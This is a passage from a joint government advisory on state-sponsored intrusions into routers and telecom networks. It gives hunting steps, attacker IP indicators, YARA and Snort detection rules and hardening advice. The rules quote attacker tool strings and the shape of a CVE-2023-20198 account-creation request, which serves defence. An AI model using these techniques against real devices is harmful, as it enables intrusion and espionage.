- Review remote access configurations for proper application of ACL and transport protocols. Review ACLs for any unauthorized modifications.
- If SNMP is being used, ensure networking equipment is configured to use SNMPv3 with the appropriate authentication and privacy configurations set, as defined in the User-based Security Model (USM) and the View-based Access Control Model (VACM).
- Verify the authenticity of any configured local accounts and their permission levels.
- Check all routing tables to ensure that all routes are authorized and expected.
- Verify that any PCAP commands configured on networking equipment are authorized.
Monitor virtualized containers
- If networking equipment has the capability to run virtualized containers, ensure that all running virtualized containers are expected and authorized.
- For devices that support Cisco Guest Shell (IOS XE and NX-OS), do not rely on device syslog alone to detect actor activity. Use a combination of device syslog, AAA command accounting, container (Guest Shell) logs, and off-box flow/telemetry.
- Capture lifecycle and CLI activity with AAA accounting (TACACS+/RADIUS) for configuration/exec commands so that enable/disable and entry actions are recorded.
- For IOS XE, hunt for
guestshell enable,guestshell run bash, andguestshell disable. On NX-OS, hunt forguestshell enable,run guestshell, andguestshell destroy. Alert on unexpected use ofchvrf(running commands under a different VRF) and, on NX-OS, use ofdohost(container invoking host CLI).
Monitor network services and tunnels
- Monitor for management services running on non-standard ports (SSH, FTP, etc.).
- Hunt for actor-favored protocol patterns:
- SSH on high non-default ports with 22x22/xxx22 numbering patterns from non-admin source IPs.
- HTTPS/Web UI listeners on non-default high ports (18xxx) reachable from outside the management VRF.
- TCP/57722 (IOS XR
sshd_operns) reachability or flows.- Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux
sshd_opernsservice). Collect flow/telemetry (NetFlow/IPFIX) from the management VRF. Any inbound TCP/57722 should be treated as high-risk if unexpected.
- Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux
- TACACS+ (TCP/49) flows to non-approved IPs or any TACACS+ traffic leaving the management VRF. Correlate with device configuration to detect redirection of TACACS+ servers to APT actor-controlled infrastructure.
- FTP/TFTP flows originating from network devices to unapproved destinations, especially when preceded by on-box PCAP collection activity.
- Audit any tunnel that transits a security boundary, such as peering points between providers, to ensure it can be accounted for by network administrators. In particular, examine:
- Unexplained or unexpected tunnels between Autonomous System Numbers (ASNs).
- Unauthorized use of file transfer protocols, such as FTP and TFTP.
- Monitor network traffic for abnormal volumes of files transfers to internal FTP servers, which the APT actors may use as staging areas prior to data exfiltration.
- Extensive SSH activity against routers, followed by the establishment of both an incoming tunnel and outgoing tunnel—each of which may leverage different protocols.
Monitor firmware and software integrity
- Perform hash verification on firmware and compare values against the vendor's database to detect unauthorized modification to the firmware. Ensure that the firmware version is as expected.
- Compare hashes of images both on disk and in memory against known-good values. Reference the Network Device Integrity (NDI) Methodology or Network Device Integrity (NDI) on Cisco IOS Devices for more information.
- Use the product’s run-time memory validation or integrity verification tool to identify any changes to the run-time firmware image.
- Where supported by the platform, enable image and configuration integrity features, such as signed image enforcement and secure configuration checkpoints. Alert on any boot-time or run-time verification failure.
- Check any available file directories that may exist (flash, non-volatile random-access memory [NVRAM], system, etc.) for non-standard files.
Monitor logs
- Review logs forwarded from network devices for indications of potential malicious behavior, such as:
- Evidence of clearing locally stored logs,
- Disabling log creation or log forwarding,
- Starting a PCAP recording process using available functions,
- Allowing remote access via non-standard methods or to new locations, and
- Changes to configuration of devices via non-standard methods or from unexpected locations.
- Alert on creation/start of any on-box packet capture (e.g.,
monitor capture ... start, Embedded Packet Capture) or SPAN/RSPAN/ERSPAN session definitions, especially those matching TACACS+ (TCP/49) or RADIUS. - Inventory and continuously watch
monitor session ...(SPAN/ERSPAN) and PCAP state. Naming patterns includemycapand output filenames likemycap.pcap,tac.pcap, and1.pcap. - Where supported, deploy embedded event triggers (e.g., EEM on IOS XE/NX-OS) to syslog any invocation of packet-capture or
span/erspanconfiguration commands, capturing the invoking username and source. - Audit for non-root local accounts granted sudo on XR host Linux (e.g., via
/etc/sudoersor/etc/sudoers.d/). Where supported, ensure the host operating system (OS)sshd_opernsservice is disabled and not listening. Validate at each reboot and device upgrade. - Alert on config or telemetry indicating new XR host OS services, changes to systemd service states, or unexpected privilege escalations on the host OS.
- Analyze internal FTP Server logs for any logins from unexpected sources.
- Monitor network traffic for logons from one router to another router, as this should not be typical of normal router administration processes.
If unauthorized activities are discovered, coordinate containment sequencing before disabling to avoid tipping active APT operators. Capture live artifacts (process lists, bound sockets, on-box files), then eradicate.
See the Contact information section of this advisory for response actions that should be taken if malicious activity is confirmed.
Indicators of compromise
IP-based indicators
The following IP indicators were associated with the APT actors’ activity from August 2021 to June 2025. Disclaimer: Several of these observed IP addresses were first observed as early as August 2021 and may no longer be in use by the APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.
Table 3: APT-associated IP-based Indicators, August 2021-June 2025
| 1.222.84[.]29 | 167.88.173[.]252 | 37.120.239[.]52 | 45.61.159[.]25 |
|---|---|---|---|
| 103.168.91[.]231 | 167.88.173[.]58 | 38.71.99[.]145 | 45.61.165[.]157 |
| 103.199.17[.]238 | 167.88.175[.]175 | 43.254.132[.]118 | 5.181.132[.]95 |
| 103.253.40[.]199 | 167.88.175[.]231 | 45.125.64[.]195 | 59.148.233[.]250 |
| 103.7.58[.]162 | 172.86.101[.]123 | 45.125.67[.]144 | 61.19.148[.]66 |
| 104.194.129[.]137 | 172.86.102[.]83 | 45.125.67[.]226 | 63.141.234[.]109 |
| 104.194.147[.]15 | 172.86.106[.]15 | 45.146.120[.]210 | 63.245.1[.]13 |
| 104.194.150[.]26 | 172.86.106[.]234 | 45.146.120[.]213 | 63.245.1[.]34 |
| 104.194.153[.]181 | 172.86.106[.]39 | 45.59.118[.]136 | 74.48.78[.]66 |
| 104.194.154[.]150 | 172.86.108[.]11 | 45.59.120[.]171 | 74.48.78[.]116 |
| 104.194.154[.]222 | 172.86.124[.]235 | 45.61.128[.]29 | 74.48.84[.]119 |
| 107.189.15[.]206 | 172.86.65[.]145 | 45.61.132[.]125 | 85.195.89[.]94 |
| 14.143.247[.]202 | 172.86.70[.]73 | 45.61.133[.]157 | 89.117.1[.]147 |
| 142.171.227[.]16 | 172.86.80[.]15 | 45.61.133[.]31 | 89.117.2[.]39 |
| 144.172.76[.]213 | 190.131.194[.]90 | 45.61.133[.]61 | 89.41.26[.]142 |
| 144.172.79[.]4 | 193.239.86[.]132 | 45.61.133[.]77 | 91.231.186[.]227 |
| 146.70.24[.]144 | 193.239.86[.]146 | 45.61.133[.]79 | 91.245.253[.]99 |
| 146.70.79[.]68 | 193.43.104[.]185 | 45.61.134[.]134 | 2001:41d0:700:65dc::f656[:]929f |
| 146.70.79[.]81 | 193.56.255[.]210 | 45.61.134[.]223 | 2a10:1fc0:7::f19c[:]39b3 |
| 164.82.20[.]53 | 212.236.17[.]237 | 45.61.149[.]200 | |
| 167.88.164[.]166 | 23.227.196[.]22 | 45.61.149[.]62 | |
| 167.88.172[.]70 | 23.227.199[.]77 | 45.61.151[.]12 | |
| 167.88.173[.]158 | 23.227.202[.]253 | 45.61.154[.]130 |
Custom SFTP client
The APT actors also use a custom SFTP client, which is a Linux binary written in Golang, to transfer encrypted archives from one location to another.
The following SFTP client binaries in Table 4 through Table 7 are similar in that they are used to transfer files from a compromised network to staging hosts where the files are prepared for exfiltration. However, cmd1 has the additional capability of collecting network packet captures on the compromised network. Note: The cmd3 and cmd1 clients were likely written by the same developer since they have similar build path strings and code structure.
Table 4: cmd3 SFTP client
- File Name : MD5 Hash
- cmd3 : eba9ae70d1b22de67b0eba160a6762d8
- File Name : SHA 256 Hash
- cmd3 : 8b448f47e36909f3a921b4ff803cf3a61985d8a10f0fe594b405b92ed0fc21f1
- File Name : File Size (bytes)
- cmd3 : 3506176
- File Name : File Type
- cmd3 : ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=rHFK_GWSIG3fShYR02ys/Hou3WF-dO9MYtI232CYr/D3n2Irn5doNndtloYkEi/r3IcebaH3y02cYer7tm0 stripped
- File Name : Command Line Usage
- cmd3 : ./cmd3
- File Name : Version String
- cmd3 : v1.0
- File Name : Build Path String
- cmd3 : C:/work/sync/cmd/cmd3/main.go
Table 5: cmd1 SFTP client
- File Name : MD5 Hash
- cmd1 : 33e692f435d6cf3c637ba54836c63373
- File Name : SHA 256 Hash
- cmd1 : f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4
- File Name : File Size (bytes)
- cmd1 : 3358720
- File Name : File Type
- cmd1 : ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=N3lepXdViXHdPCh5amSa/LhM5susdTarcmIQEMqku/eplvxiWNUFNeKXjT-6sd/R-eCtbFZFNozRZqEuwZY stripped
- File Name : Command Line Usage
- cmd1 : ./cmd1
- File Name : Version String
- cmd1 : V20240816
- File Name : Build Path String
- cmd1 : C:/work/sync_v1/cmd/cmd1/main.go
Cmd1 SFTP client Yara rule
rule SALT_TYPHOON_CMD1_SFTP_CLIENT {
meta:
description = "Detects the Salt Typhoon Cmd1 SFTP client. Rule is meant for threat hunting."
strings:
$s1 = "monitor capture CAP"
$s2 = "export ftp://%s:%s@%s%s"
$s3 = "main.CapExport"
$s4 = "main.SftpDownload"
$s5 = ".(*SSHClient).CommandShell"
$aes = "aes.decryptBlockGo"
$buildpath = "C:/work/sync_v1/cmd/cmd1/main.go"
condition:
(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550) or ((uint32(0) == 0xcafebabe)
or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf)
or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe)
or (uint32(0) == 0xcffaedfe)))
and 5 of them
}
Table 6: new2 SFTP client
- File Name : SHA 256 Hash
- new2: da692ea0b7f24e31696f8b4fe8a130dbbe3c7c15cea6bde24cccc1fb0a73ae9e
- File Name : File Type
- new2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped
New2 SFTP client Yara rule
rule SALT_TYPHOON_NEW2_SFTP_CLIENT {
meta:
description = "Detects the Salt Typhoon New2 SFTP client. Rule is meant for threat hunting."
strings:
$set_1_1 = "invoke_shell"
$set_1_2 = "execute_commands"
$set_1_3 = "cmd_file"
$set_1_4 = "stop_event"
$set_1_5 = "decrypt_message"
$set_2_1 = "COMMANDS_FILE"
$set_2_2 = "RUN_TIME"
$set_2_3 = "LOG_FILE"
$set_2_4 = "ENCRYPTION_PASSWORD"
$set_2_5 = "FIREWALL_ADDRESS"
$set_3_1 = "commands.log"
$set_3_2 = "Executing command: {}"
$set_3_3 = "Connecting to: {}"
$set_3_4 = "Network sniffer script."
$set_3_5 = "tar -czvf - {0} | openssl des3 -salt -k password -out {0}.tar.gz"
$set_required = { 00 70 61 72 61 6D 69 6B 6F }
condition:
$set_required and 4 of ($set_1_*) and 4 of ($set_2_*)
and 4 of ($set_3_*)
}
Table 7: sft SFTP client
- File Name : SHA 256 Hash
- sft: a1abc3d11c16ae83b9a7cf62ebe6d144dfc5e19b579a99bad062a9d31cf30bfe
- File Name : File Type
- sft: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Q_mmdNzBVit4XSJyGrtd/ampmN-03i9bT1qzD9njH/MFeCrtuGl37O7UNKFQyk/sBN-cduKnfSAvXO7jzGG, with debug_info, not stripped
CVE 2023-20198 Snort rule
alert tcp any any -> any $HTTP_PORTS (msg:"Potential CVE-2023-20198 exploit attempt - HTTP Request to Add Privilege 15 User Detected"; content:"POST"; http_method; pcre:"/(webui_wsma|%2577ebui_wsma|%2577eb%2575i_%2577sma)/i"; http_uri; content:"<request xmlns=\"urn:cisco:wsma-config\" correlator=\"execl\">"; http_client_body; content:"<configApply details=\"all\">"; http_client_body; content:"<config-data>"; http_client_body; content:"<cli-config-data-block>"; http_client_body; content:"username"; http_client_body; content:"privilege 15"; http_client_body; content:"secret"; http_client_body; sid:1000003; rev:1;)
Mitigations
These APT actors are having considerable success using publicly known CVEs to gain access to networks, so organizations are strongly encouraged to prioritize patching in a way that is proportionate to this threat, such as by sequencing patches to address the highest risks first. See CISA’s Known Exploited Vulnerabilities Catalog for further information. Specifically, organizations should ensure edge devices are not vulnerable to the known exploited CVEs identified in this advisory—CVE-2024-21887, CVE-2024-3400, CVE-2023-20273, CVE-2023-20198, and CVE-2018-0171. This list is not exhaustive.
Note: This advisory uses MITRE D3FEND™, version 1.2.0, cybersecurity countermeasures. See the Appendix C: MITRE D3FEND Countermeasures section of this advisory for a table of the mitigations mapped to MITRE D3FEND countermeasures.
General recommendations
- Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for the activities listed in this advisory [D3-PM]. In particular, check for:
- Unexpected GRE or other tunneling protocols, especially with foreign infrastructure [D3-NTCD].
- Unexpected external IPs set as a TACACS+ or RADIUS server, or other AAA service configuration modifications.
- Unexpected external IPs in ACLs.
- Unexpected packet capture or network traffic mirroring settings.
- Unexpected virtual containers running on network devices, or, where virtual containers are expected, unexpected commands within the containers.
- Employ a robust change management process that includes periodic auditing of device configurations [D3-PM].
- Ensure all networking configurations are stored, tracked, and regularly audited via a change management process. A change management process audits approved configurations against what is currently running in an organization’s infrastructure.
- Review firewall rule creation and modification dates, cross referencing against change management approvals, to detect unauthorized rules or rule changes.
- Create alarms or alerts for unusual router administration access, commands, or other activity.
- Attempt to identify the full scope of a suspected compromise before mitigating. While it is important to contain the intrusion and prevent further malicious activity, if the full scope is not identified and mitigated fully, the actors may retain access and cause further malicious activity. Threat hunting and incident response efforts should be balanced against the total potential malicious activity with the goals of full eviction and minimizing damage.
- An established compromise by these APT actors will likely include recurring, large-scale exfiltration from the compromised network. In at least one instance, the APT actors utilized GRE and MPLS tunnels to move data back to China.
- Disable outbound connections from management interfaces to limit possible lateral movement activity between network devices [D3-OTF].
- Disable all unused ports and protocols (both traffic and management protocols) [D3-ACH]. Only use encrypted and authenticated management protocols (e.g., SSH, SFTP/SCP, HTTPS) and disable all others, especially unencrypted protocols (e.g., Telnet, FTP, HTTP).
- Change all default administrative credentials, especially for network appliances and other network devices [D3-CFP].
- Require public-key authentication for administrative roles. Disable password authentication where operationally feasible. Minimize authentication attempts and lockout windows to slow brute force and sprayed attempts [D3-CH].
- Use the vendor recommended version of the network device operating system and keep it updated with all patches. Upgrade unsupported network devices to ones that are supported by the vendor with security updates [D3-SU].
Hardening management protocols and services
- Implement management-plane isolation and control-plane policing (CoPP) [D3-NI].
- Place all device management services (SSH, HTTPS, SNMP, TACACS+/RADIUS, SCP/SFTP) strictly in a dedicated out-of-band management network or a management VRF.
- Ensure this management VRF has no route leakage to customers or peering VRFs and cannot initiate or receive sessions from data-plane or peering address space [D3-ITF].
- Block all egress from the management VRF except to explicitly authorized AAA/syslog/NetFlow/IPFIX/telemetry collectors to prevent actor use of management interfaces as lateral movement conduits or exfiltration paths.
- Apply explicit management-plane ACLs at the control plane (e.g., CoPP/CPPr) to allowlist (i.e., default-deny) and rate-limit management protocols. Allow only approved management station IPs/subnets and jump servers.
- Apply these restrictions to all SNMP, TACACS+/RADIUS (TCP/UDP 49/1812/1813), HTTPS (TCP/443 and any configured non-default port), SSH (TCP/22 and any configured non-default port), and SFTP/SCP.
- For devices that do not support ACLs, place on a separate management Virtual Local Area Network (VLAN); an ACL can be applied to this management VLAN from an upstream device, such as a router or Layer 3 switch.
- Use SSHv2 only and disable Telnet. Audit and restrict SSH on non-default ports (e.g., 22x22 and xxx22 patterns) commonly used by the APT actors.
- If a web interface is operationally required, bind it only to the management VRF/interface. Use HTTPS only and disable unencrypted HTTP. Require AAA for web interface access. Monitor and alert on non-default high HTTPS ports (e.g., 18xxx) observed in intrusions.
- Use SNMPv3 only, and disable SNMPv1 and SNMPv2. Configure Trusted Managers and ACLs to limit SNMP access to only trusted devices.
- Change all weak and default SNMP community strings.
- Restrict and monitor SNMP writes.
- Enforce SNMPv3 with authPriv and apply VACM views that exclude configuration-altering MIB objects from write access. Only grant read access for required OIDs; reserve write access for tightly scoped automation accounts from approved managers.
- Continuously monitor SNMP SET operations and alert on changes to AAA servers, HTTP/HTTPS enablement or port changes, tunnel interfaces, SPAN/ERSPAN sessions, and routing and ACL objects. Actor tradecraft includes issuing SNMP SETs to make covert configuration changes at scale.
- Configure only strong cryptographic cipher suites for all management protocols (e.g., SSH, SFTP, HTTPS) and reject all weak ones.
- Enforce per-protocol rate limits (particularly for SSH, HTTPS, SNMP, TACACS+/RADIUS) to blunt credential-guessing and slow “low-and-slow" abuse of built-in functions (e.g., Embedded Packet Capture, tunnel setup) without denying legitimate admin access.
- Eliminate unintended IPv6 management exposure.
- If IPv6 is enabled, apply equivalent controls for IPv6 as for IPv4.
- Enforce management-plane ACLs and CoPP for IPv6. Bind management services only to the management VRF/interface in IPv6.
- Audit for IPv6-reachable management services and tunnels, as the APT actors’ infrastructure includes IPv6 addresses.
Implementing robust logging
- Ensure logging is enabled and forwarded to a centralized server. Set the trap and buffer logging levels on each device to at least syslog level “informational” (code 6) to collect all necessary information.
- Ensure all logs sent to a centralized logging server are transmitted via a secure, authenticated, and encrypted channel (such as IPsec, TLS, or SSH tunnels). The central server should maintain immutable logs with retention periods sufficient to support cybersecurity incident response investigations and comply with applicable retention policies.
- Enable AAA command accounting for privileged commands to record any attempts to invoke those commands.
Routing best practices
- Utilize routing authentication mechanisms, when possible.
- Protect peering and edge routing paths often abused for covert redirection.
- Continuously validate static routes, policy-based routing (PBR), and VRF-leak policies at peering edges. Alert on additions that steer traffic toward non-standard GRE/IPsec endpoints or unexpected next hops.
- Enforce maximum-prefix limits, strict prefix/AS-path filtering, and “only-expected” communities on all external BGP (eBGP) sessions. Deny default and overly broad routes.
- Enable TTL security (GTSM) or equivalent for eBGP to reduce off-path attack surface.
- Require session protection (TCP-AO where supported, otherwise MD5) and monitor for BGP session resets and parameter changes from unexpected management origins.
Virtual Private Network (VPN) best practices
- Delete default VPN Internet Key Exchange (IKE) policies and associated components.
- Create IKE policies consistent with applicable requirements and guidance on cryptographic algorithm use. For U.S. National Security Systems, follow Committee on National Security Systems Policy (CNSSP) 15 and other applicable policies:
- Diffie-Hellman Group: 16 with 4096 bit Modular Exponential (MODP)
- Diffie-Hellman Group: 20 with 384 bit Elliptic Curve Group (ECP)
- Encryption: AES-256
- Hashing: SHA-384
Cisco-specific recommendations
- Disable the Cisco Smart Install feature.
- Store credentials using strong cryptography.
- Protect local credentials on Cisco networking devices using Type 8 (PBKDF2-SHA-256) where supported. Do not use Type 7 and transition from Type 5 (MD5) when possible.
- Use Type 6 (AES) key encryption to protect stored secrets (e.g., TACACS+/RADIUS shared secrets or IKE PSKs).
- Disable outbound connections from the VTYs (e.g.,
transport output none). This prevents initiating SSH, Telnet, or other client sessions from the device via VTY, reducing its utility as a jump host. Monitor for any changes to this setting. - Audit for unexpected enablement of IOS XR host SSH (
sshd_operns) on TCP/57722. This is disabled by default, but has been observed being enabled by actors for persistence. - When not required, disable the web configuration interface on applicable Cisco networking devices by running
no ip http serverandno ip http secure-server.- If management via a web interface is required, ensure to enable only the HTTPS management interface by running the command
ip http secure-serverand keepno ip http serverconfigured to prevent unencrypted access via HTTP.
- If management via a web interface is required, ensure to enable only the HTTPS management interface by running the command
- Ensure a final
deny any any logline is added to all configured ACLs. This ensures that the denied connections are logged so they could be reviewed at a later date.
Mitigating Guest Shell abuse
- Disable Guest Shell where not operationally required.
- For IOS XE, run
guestshell disableto stop the container. Where supported, disable the IOx subsystem withno ioxto prevent container hosting entirely. Confirm withshow guestshell / show iox. - For NX-OS, run
guestshell disableto stop the container. Useguestshell destroyto uninstall it and return resources to the system. Confirm withshow guestshell.
- For IOS XE, run
- Where Guest Shell is disabled, restrict (re)enabling Guest Shell.
- Enforce AAA command authorization (TACACS+/RADIUS) so only approved roles can run
guestshell enable,guestshell run bash(IOS XE),run guestshell(NX-OS),guestshell disable/destroy,chvrf,dohost, or IOx-related commands.
- Enforce AAA command authorization (TACACS+/RADIUS) so only approved roles can run
- Where Guest Shell is used:
- Forward container logs (e.g., journald/systemd inside Guest Shell) to your SIEM. Device syslog does not capture process activity inside the container by default.
- Configure the VRF used by Guest Shell (management VRF on IOS XE; default VRF on NX-OS unless
chvrfis used). Restrict egress to only required destinations (e.g., SIEM/AAA/telemetry collectors) with ACLs. - Perform periodic inventories and integrity checks of device storage (e.g.,
bootflash:) to detect unexpected files created from the container. - Create alerts for
guestshell disable/ guestshell destroyand unexpectedchvrf/dohostusage. Consider Cisco Embedded Event Manager (EEM) policies that snapshot state (running processes, container filesystem, storage listings) when these events occur.
Additional Cisco resources:
- Cisco Software Checker: Resource to find if any known vulnerabilities affect a version of IOS that may be currently in use.
- Cisco IOS Hardening Guide: Resource for IOS devices.
- Cisco IOS XE Hardening Guide: Resource for IOS XE devices.
- Cisco Forensic Guides: Resources to verify the integrity of affected devices.
- Guide to Securing NX-OS Software Devices: Resource if using applicable devices.
Resources
Additional information can be found in the following publicly available guidance.
United States resources
- (NSA, CISA, FBI) PRC State-Sponsored Cyber Actors Exploit Network Providers and Devices (Note: The Telecommunications and Network Service Provider Targeting section begins on page 4. Those TTPs, router commands, and mitigations are relevant for the activity listed in this advisory.)
- (CISA, NSA, FBI) Enhanced Visibility and Hardening Guidance for Communications Infrastructure
- (NSA) Cisco Password Types: Best Practices
- (NSA) Cisco Smart Install Protocol Misuse
- (NSA) Performing Out-of-Band Network Management
- (NSA) Network Infrastructure Security Guide
- (CISA) Mobile Communications Best Practice Guidance
United Kingdom resources
- (Legislation) Telecommunications Security Act (2021)
- (Technical Guidance) Telecommunications Security Act (2021) Code of Practice
- (NCSC Guidance) Cyber Assessment Framework
- (NCSC Guidance) Guidance on using IPsec to protect data
- (NCSC Guidance) Principles for secure privileged access workstations (PAWS)
- (Ofcom Guidance) Telecoms industry guidance
International resources
- (Technical Specification) ETSI Privileged Access Workstations: Part 1: Physical [TS 103 994-1]
- (Technical Specification) ETSI Privileged Access Workstations: Part 2: Connectivity [TS 103 994-2]
Acknowledgements
The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Cisco Security & Trust, Cisco Talos, Crowdstrike, Google Mandiant, Google Threat Intelligence, Greynoise, Microsoft, PwC Threat Intelligence, and additional industry partners for their contribution to this advisory.
Disclaimer of endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact information
The following contacts are non-exhaustive, and organizations should follow all applicable reporting requirements for a given incident or other event.
United States organizations
- National Security Agency (NSA)
- Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
- Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
- Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
- Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
- U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (contact@mail.cisa.dhs.gov, 888-282-0870, or reporting online at cisa.gov/report), or your local FBI field office.
- Methods for initial access are a critical information gap for parties working to understand the scope, scale, and impact of these APT actors. When available, please include the following information regarding the incident:
- Type of activity and types of equipment affected by or used in the activity;
- APT actors’ tactics, techniques, and procedures (TTPs) used to conduct initial access and/or lateral movement;
- Exfiltration infrastructure and associated techniques (Layer 2/Layer 3);
- Passwords and associated techniques used to encrypt exfiltrated data;
- Likely or confirmed compromised routing equipment connected to or used by government networks;
- Insights into how the compromised devices are tasked (i.e., how is traffic of interest selected for collection/redirection);
- Signs of compromise or persistence beyond the specific network devices themselves (e.g., additional targets, such as network operations staff, IT/corporate email, etc.).
- Date, time, and location of the incident;
- Number of people affected;
- Name of the submitting company or organization; and
- Designated point of contact.
- Department of Defense Cyber Crime Center (DC3)
- Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
- Media Inquiries / Press Desk: DC3.Information@us.af.mil
Australian organizations
- Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations
- Report incidents by emailing CCCS at contact@cyber.gc.ca.
- Canadian Security Intelligence Service (CSIS) Media Inquiries / Press Desk: media-medias@smtp.gc.ca
New Zealand organizations
- New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz.
United Kingdom organizations
- UK National Cyber Security Centre (NCSC)
- The NCSC—a part of intelligence, security, and cyber agency GCHQ—is the UK’s technical authority on cyber security. UK organizations should report significant cyber security incidents via https://report.ncsc.gov.uk/ (monitored 24/7).
- Ofcom
- Ofcom is the UK’s communications regulator and is responsible for enforcing the telecoms security provisions in the Communications Act (2003) and the Telecommunications Security Act (2021). Guidance and contact information on standards, specifications, and other requirements for the UK telecoms industry can be found at https://www.ofcom.org.uk.
- For general inquiries: networksecurityenquiries@ofcom.org.uk
- For incident reports: incident@ofcom.org.uk
Czech Republic organizations
- National Cyber and Information Security Agency (NÚKIB): cert.incident@nukib.gov.cz.
Finnish organizations
- Finnish Security and Intelligence Service (SUPO): https://supo.fi/en/contact
Germany organizations
- Bundesnachrichtendienst (BND): Media Relations / Press Desk: +49 30 20 45 36 30, pressestelle@bnd.bund.de
- BfV Prevention/Economic Protection Unit: +49 30 18792-3322, wirtschaftsschutz@bfv.bund.de
- BSI Service-Center: +49 800 274 1000, service-center@bsi.bund.de
Italian organizations
- Italian External Intelligence and Security Agency (AISE): Visit https://www.sicurezzanazionale.gov.it/chi-siamo/organizzazione/aise.
- Italian Internal Intelligence and Security Agency (AISI): Visit https://www.sicurezzanazionale.gov.it/chi-siamo/organizzazione/aisi.
Japanese organizations
- National Cybersecurity Office (NCO): first-team@cyber.go.jp
Polish organizations
- Polish Foreign Intelligence Agency (AW): CTIteam@aw.gov.pl
- Polish Military Counterintelligence Service (SKW): cyber.int@skw.gov.pl
Appendix A: MITRE ATT&CK tactics and techniques
See Table 8 through Table 20 for all the threat actor tactics and techniques referenced in this advisory.
Table 8: Reconnaissance
- Technique Title: Active Scanning
- ID: T1595
- Use: Actively scan for open ports and services
- Technique Title: Gather Victim Network Information: Network Topology
- ID: T1590.004
- Use: Leverage configuration files from exploited devices to gather the network topology information
Table 9: Resource Development
- Technique Title: Acquire Infrastructure: Virtual Private Servers
- ID: T1583.003
- Use: Leverage VPS as infrastructure
- Technique Title: Compromise Infrastructure: Network Devices
- ID: T1584.008
- Use: Compromise intermediate routers
- Technique Title: Obtain Capabilities: Exploits
- ID: T1588.005
- Use: Utilize publicly available code (siet.py) to exploit vulnerable devices
- Technique Title: Obtain Capabilities: Tool
- ID: T1588.002
- Use: Utilize publicly available tooling (e.g., map.tcl, tclproxy.tcl, wodSSHServer)
Table 10: Initial Access
- Technique Title: Exploit Public-Facing Application
- ID: T1190
- Use: Exploit publicly known CVEs
- Technique Title: Trusted Relationship
- ID: T1199
- Use: Leverage trusted connections between providers to pivot between networks
Table 11: Execution
- Technique Title: System Services
- ID: T1569
- Use: Executing commands via SNMP
- Technique Title: Container Administration Command
- ID: T1609
- Use: Use Guest Shell to load open-source tools and as a jump point for reconnaissance and follow-on actions in the environment
- Technique Title: Command and Scripting Interpreter: Python
- ID: T1059.006
- Use: Use Python script siet.py
- Technique Title: Command and Scripting Interpreter: Network Device CLI
- ID: T1059.008
- Use: Use built-in CLI on network devices to execute native commands
Table 12: Persistence
- Technique Title: Create Account: Local Account
- ID: T1136.001
- Use: Create new local users on network devices for persistence
- Technique Title: Container Service
- ID: T1543.005
- Use: Leverage Linux-based Guest Shell containers, natively supported in a variety of Cisco OS software
- Technique Title: Account Manipulation: SSH Authorized Keys
- ID: T1098.004
- Use: Regain entry into environments via SSH into network devices
Table 13: Privilege Escalation
- Technique Title: Exploitation for Privilege Escalation
- ID: T1068
- Use: Exploit CVE-2023-20273 to gain root-level user privileges
- Technique Title: Brute Force: Password Cracking
- ID: T1110.002
- Use: Brute force passwords with weak encryption in obtained configuration files
Table 14: Defense Evasion
- Technique Title: Obfuscated Files or Information: Command Obfuscation
- ID: T1027.010
- Use: Obfuscate paths with “double encoding”
- Technique Title: Obfuscated Files or Information
- ID: T1027
- Use: Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses
- Technique Title: Impair Defenses: Disable or Modify System Firewall
- ID: T1562.004
- Use: Modify ACLs, adding IP addresses to bypass security policies and permit traffic from a threat actor-controlled IP address
- Technique Title: Deploy Container
- ID: T1610
- Use: Deploy virtual container (e.g., Guest Shell) on network infrastructure to persist and evade monitoring services
- Technique Title: Indicator Removal
- ID: T1070
- Use: Delete and/or clear logs
- Technique Title: Indicator Removal: Clear Persistence
- ID: T1070.009
- Use: Use Guest Shell destroy command to deactivate and uninstall Guest Shell container and return all resources to the system
- Technique Title: Network Boundary Bridging
- ID: T1599
- Use: Abuse peering connections
Table 15: Credential Access
- Technique Title: Network Sniffing
- ID: T1040
- Use: Passively collect packet capture (PCAP) from networks for configurations and credentials
- Technique Title: Modify Authentication Process
- ID: T1556
- Use: Modify a router’s TACACS+ server configuration to point to an APT actor-controlled IP address to capture authentication attempts or modify AAA configurations to use less secure authentication methods
- Technique Title: OS Credential Dumping
- ID: T1003
- Use: Collect router configuration with weak Cisco Type 7 passwords
- Technique Title: Brute Force: Password Cracking
- ID: T1110.002
